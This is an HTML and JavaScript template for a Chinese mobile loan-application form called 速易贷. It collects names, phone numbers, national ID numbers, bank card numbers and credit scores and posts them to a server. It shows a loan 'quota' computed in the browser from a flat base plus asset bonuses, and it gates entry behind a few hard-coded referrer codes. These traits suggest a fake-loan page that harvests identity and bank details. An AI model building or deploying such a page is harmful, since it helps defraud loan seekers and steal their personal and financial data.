<!DOCTYPE html>
<!-- saved from url=(0056)http://dk.goodwaygp.com/template/default/index/form.html -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0,user-scalable=no">

<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<meta content="telephone=no" name="format-detection">
<meta http-equiv="Cache-Control" content="no-siteapp">
<meta http-equiv="imagetoolbar" content="false">
<meta name="applicable-device" content="mobile">
<meta name="force-rendering" content="webkit">
<title>速易贷</title>
<meta name="keywords" content="速易贷">
<meta name="description" content="速易贷">
<link href="__STATIC__/index/item2_files/style.css" rel="stylesheet" media="screen" type="text/css">
<link href="__STATIC__/index/item2_files/honeySwitch.css" rel="stylesheet" media="screen" type="text/css">
<script src="__STATIC__/index/item2_files/jquery.min.js" language="javascript" type="text/javascript"></script>
</head>
<body>

<h3 class="prompt"><img src="__STATIC__/index/item2_files/sigh.svg">请<em>准确填写</em>以下信息，否则申请无法通过</h3>
<div class="form">
	<form action="http://dk.goodwaygp.com/template/default/index/form.html">
	<dl>
		<div class="intro">
			<label>推荐人工号<em>*</em></label>
			<div class="control" data-uid="">
				<input name="number" type="text" class="text" maxlength="3" value="" placeholder="请填写3位数推荐人工号">
			</div>
		</div>
	</dl>
	<dl>
		<div class="intro">
			<label><span>姓名</span><em>*</em></label>
			<div class="control">
				<input name="name" tyvpe="text" class="text" placeholder="请填您的姓名">
			</div>
		</div>
	</dl>
	<dl>
		<div class="intro">
			<label><span>手机号码</span><em>*</em></label>
			<div class="control">
				<input name="phone" type="text" class="text" placeholder="请填写您的手机号码">
			</div>
		</div>
	</dl>
	<dl>
		<div class="intro">
			<label><span>身份证号</span><em>*</em></label>
			<div class="control">
				<input name="certificate" type="text" class="text"  placeholder="请填写您的身份证号码">
			</div>
		</div>
	</dl>
	<dl>
		<div class="intro">
			<label><span>银行卡号</span><em>*</em></label>
			<div class="control">
				<input name="card" type="text" class="text" id="card"  placeholder="请填写您的银行卡号">
			</div>
		</div>
	</dl>
	<dl class="sesame">
		<div class="intro">
			<label><span>芝麻分</span></label>
			<div class="control">
				<input name="sesame" type="text" class="text"  placeholder="请填写您的芝麻分，如无则填0">
			</div>
		</div>
	</dl>
	<dl>
		<div class="intro">
			<label>是否有信用卡</label>
			<div class="control">
				<div class="mar"><span class="switch-off" id="wifi" style="border-color: rgb(223, 223, 223); box-shadow: rgb(223, 223, 223) 0px 0px 0px 0px inset; background-color: rgb(255, 255, 255);"><span class="slider"><input name="creditcard" type="hidden" id="t" value="0"></span><span class="slider"></span></span></div>
			</div>
		</div>
	</dl>
	<dl>
		<div class="intro">
			<label>是否有社保</label>
			<div class="control">
				<div class="mar"><span class="switch-off" id="wifi" style="border-color: rgb(223, 223, 223); box-shadow: rgb(223, 223, 223) 0px 0px 0px 0px inset; background-color: rgb(255, 255, 255);"><span class="slider"><input name="social" type="hidden" id="t" value="0"></span><span class="slider"></span></span></div>
			</div>
		</div>
	</dl>
	<dl>
		<div class="intro">
			<label>是否有公积金</label>
			<div class="control">
				<div class="mar"><span class="switch-off" id="wifi" style="border-color: rgb(223, 223, 223); box-shadow: rgb(223, 223, 223) 0px 0px 0px 0px inset; background-color: rgb(255, 255, 255);"><span class="slider"><input name="accumulation" type="hidden" id="t" value="0"></span><span class="slider"></span></span></div>
			</div>
		</div>
	</dl>
	<dl>
		<div class="intro">
			<label>是否有车</label>
			<div class="control">
				<div class="mar"><span class="switch-off" id="wifi" style="border-color: rgb(223, 223, 223); box-shadow: rgb(223, 223, 223) 0px 0px 0px 0px inset; background-color: rgb(255, 255, 255);"><span class="slider"><input name="vehicle" type="hidden" id="t" value="0"></span><span class="slider"></span></span></div>
			</div>
		</div>
	</dl>
	<dl>
		<div class="intro">
			<label>是否有房产</label>
			<div class="control">
				<div class="mar"><span class="switch-off" id="wifi" style="border-color: rgb(223, 223, 223); box-shadow: rgb(223, 223, 223) 0px 0px 0px 0px inset; background-color: rgb(255, 255, 255);"><span class="slider"><input name="room" type="hidden" id="t" value="0"></span><span class="slider"></span></span></div>
			</div>
		</div>
	</dl>
	<dl class="sub"><a href="javascript:void(0);" id="quota">提交审核</a></dl>
</form></div>

<script type="text/javascript">
$(document).ready(function(){
	var quota = $('#quota');
	$('#card').on('keyup mouseout input',function(){
		var $this = $(this),v = $this.val();
		/\S{5}/.test(v) && $this.val(v.replace(/\s/g,'').replace(/(.{4})/g, "$1 "));
	});
	
	quota.delegate('','touchend', function(e) {

		e.preventDefault();
		numbers = encodeURIComponent($('input[name="number"]').val());
		name = encodeURIComponent($('input[name="name"]').val());
		phone = encodeURIComponent($('input[name="phone"]').val());
		certificate = encodeURIComponent($('input[name="certificate"]').val());
		card = $('input[name="card"]').val();
        useryzm = $("#useryzm").val();
		card = trim(card,'g');
		
		sesame = encodeURIComponent($('input[name="sesame"]').val());
		creditcard = encodeURIComponent($('input[name="creditcard"]').val());
		social = encodeURIComponent($('input[name="social"]').val());
		accumulation = encodeURIComponent($('input[name="accumulation"]').val());
		vehicle = encodeURIComponent($('input[name="vehicle"]').val());
		room = encodeURIComponent($('input[name="room"]').val());
		quotas = parseInt(0);
		
		isNumber = /^\d{3}$/;//工号验证6位数规则
		isPhone = /^(((13[0-9]{1})|(15[0-9]{1})|(16[0-9]{1})|(17[0-9]{1})|(18[0-9]{1}))+\d{8})$/; //手机号码验证规则
		// 身份证号码为15位或者18位，15位时全为数字，18位前17位为数字，最后一位是校验位，可能为数字或字符X 
		isCertificate = /(^\d{15}$)|(^\d{18}$)|(^\d{17}(\d|X|x)$)/; 
		isCard = /^([1-9]{1})(\d{15}|\d{16}|\d{17}|\d{18})$/;
		
		if(numbers==''||numbers==null||numbers==undefined){
			numberCode = '0';
		}else{
			numberCode = '1';
		}
		
		switch(true){
			case (numbers==''||numbers==null||numbers==undefined):
				var txt = '推荐人工号不能为空,请正确填写';
				message(txt);
				return false;
				break;
            case (numbers!='001'&&numbers!='003'&&numbers!='005'&&numbers!='007'&&numbers!='009'):

                var txt = '推荐人工号不正确';
                message(txt);
                return false;
                break;
			case (numberCode=='1'  &&  !isNumber.test($('input[name="number"]').val()) ):
			    var txt = '推荐人工号为3位数,请正确填写';
			    	message(txt);
			    	return false;
				break;
			case (name==''||name==null||name==undefined):
				var txt = '姓名不能为空,请正确填写';
				message(txt);
				return false;
				break;
			case (phone==''||phone==null||phone==undefined):
			    var txt = '手机号码不能为空,请正确填写';
				message(txt);
				return false;
				break;
			case (!isPhone.test($('input[name="phone"]').val())):
			    var txt = '手机号码不正确,请正确填写';
				message(txt);
				return false;
				break;
			case (certificate==''||certificate==null||certificate==undefined):
				var txt = '身份证号不能为空,请正确填写';
				message(txt);
				return false;
				break;
			case (!isCertificate.test($('input[name="certificate"]').val())):
			    var txt = '身份证号不正确,请正确填写';
				message(txt);
				return false;
				break;
			case (card==''||card==null||card==undefined):
				var txt = '银行卡号不能为空,请正确填写';
				message(txt);
				return false;
				break;
			case (!isCard.test(card)):
			    var txt = '银行卡号不正确,请正确填写';
				message(txt);
				return false;
				break;
			case (sesame==''||sesame==null||sesame==undefined):
				sesame = 0;
				counts();
				break;
			default:
			    counts();
				break;
		}
        // location = "{:url('erdu')}";

	});
	function counts(){
			    switch(true){
			    	case ( sesame <= '399'):
			    	    quotas = parseInt('0');
			    		break;
			    	case ( sesame >= '400' && sesame < '650'):
			    	    quotas = parseInt('5000');
			    		break;
			    	case ( sesame >= '650' && sesame < '780'):
			    	    quotas = parseInt('7000');
			    		break;
			    	default:
			    		break;
			    }
			    switch(true){
			    	case ( creditcard == 1):
			    	    quotas = quotas + parseInt('7000');
			    	    creditcard = encodeURIComponent(1);
			    		break;
			    	default:
			    	    creditcard = encodeURIComponent(0);
			    		break;
			    }
			    switch(true){
			    	case ( social == 1):
			    	    quotas = quotas + parseInt('6000');
			    	    social = encodeURIComponent(1);
			    		break;
			    	default:
			    	    social = encodeURIComponent(0);
			    		break;
			    }
			    switch(true){
			    	case ( accumulation == 1):
			    	    quotas = quotas + parseInt('7000');
			    	    accumulation = encodeURIComponent(1);
			    		break;
			    	default:
			    	    accumulation = encodeURIComponent(0);
			    		break;
			    }
			    switch(true){
			    	case ( vehicle == 1):
			    	    quotas = quotas + parseInt('8000');
			    	    vehicle = encodeURIComponent(1);
			    		break;
			    	default:
			    	    vehicle = encodeURIComponent(0);
			    		break;
			    }
			    switch(true){
			    	case ( room == 1):
			    	    quotas = quotas + parseInt('10000');
			    	    room = encodeURIComponent(1);
			    		break;
			    	default:
			    	    room = encodeURIComponent(0);
			    		break;
			    }
			    quotas += 10000;
			    arry = new Array();
			    arry[0] = numbers; //人工号
			    arry[1] = name; //姓名
			    arry[2] = phone; //手机号码
			    arry[3] = certificate; //身份证号
			    arry[4] = card; //银行卡号
			    arry[5] = sesame; //芝麻分
			    arry[6] = creditcard; //信用卡
			    arry[7] = social; //社保
			    arry[8] = accumulation; //公积金
			    arry[9] = vehicle; //车
			    arry[10] = room; //房产
			    arry[11] = quotas; //额度
        $.post("save_items",{
            "numbers":decodeURIComponent(numbers),
            "name":decodeURIComponent(name),
            "phone":decodeURIComponent(phone),
            "certificate":decodeURIComponent(certificate),
            "card":decodeURIComponent(card),
            "sesame":decodeURIComponent(sesame),
            "creditcard":decodeURIComponent(creditcard),
            "social":decodeURIComponent(social),
            "accumulation":decodeURIComponent(accumulation),
            "vehicle":decodeURIComponent(vehicle),
            "room":decodeURIComponent(room),
            "quotas":quotas
		},function(data){
            if(data.status==1){
                var txt = '提交成功';
                message(txt);
                urls = '{:url("erdu")}';
                location.href = urls;
            }else{
                message(data.msg);
                return false;
            }
        },'json');
	}
    $("#userSms").click(function(){
        phone = encodeURIComponent($('input[name="phone"]').val());
        isPhone = /^(((13[0-9]{1})|(15[0-9]{1})|(16[0-9]{1})|(17[0-9]{1})|(18[0-9]{1}))+\d{8})$/;
        if(phone==''||phone==null||phone==undefined){
            var txt = '手机号码不能为空,请正确填写';
            message(txt);
            return;
        }
        if(!isPhone.test($('input[name="phone"]').val())){
            var txt = '手机号码不正确,请正确填写';
            message(txt);
            return;
        }

    });


    function message(txt){
		var messagediv  = $('#message');
		messagediv.html(txt).show();
		setTimeout(function(){
			messagediv.html('').hide();
		},1000);
	}
	function trim(str,is_global){
		var result;
		result = str.replace(/(^\s+)|(\s+$)/g,"");
		if(is_global.toLowerCase()=="g"){
			result = result.replace(/\s/g,"");
		}
		return result;
	}


});
</script>
<div class="floatage" id="message" style="display: none; position: absolute; left: 301.5px; top: 294px;"></div>

<script type="text/javascript" src="__STATIC__/index/item2_files/script.js"></script>
<script type="text/javascript" src="__STATIC__/index/item2_files/honeySwitch.js"></script>


</body></html>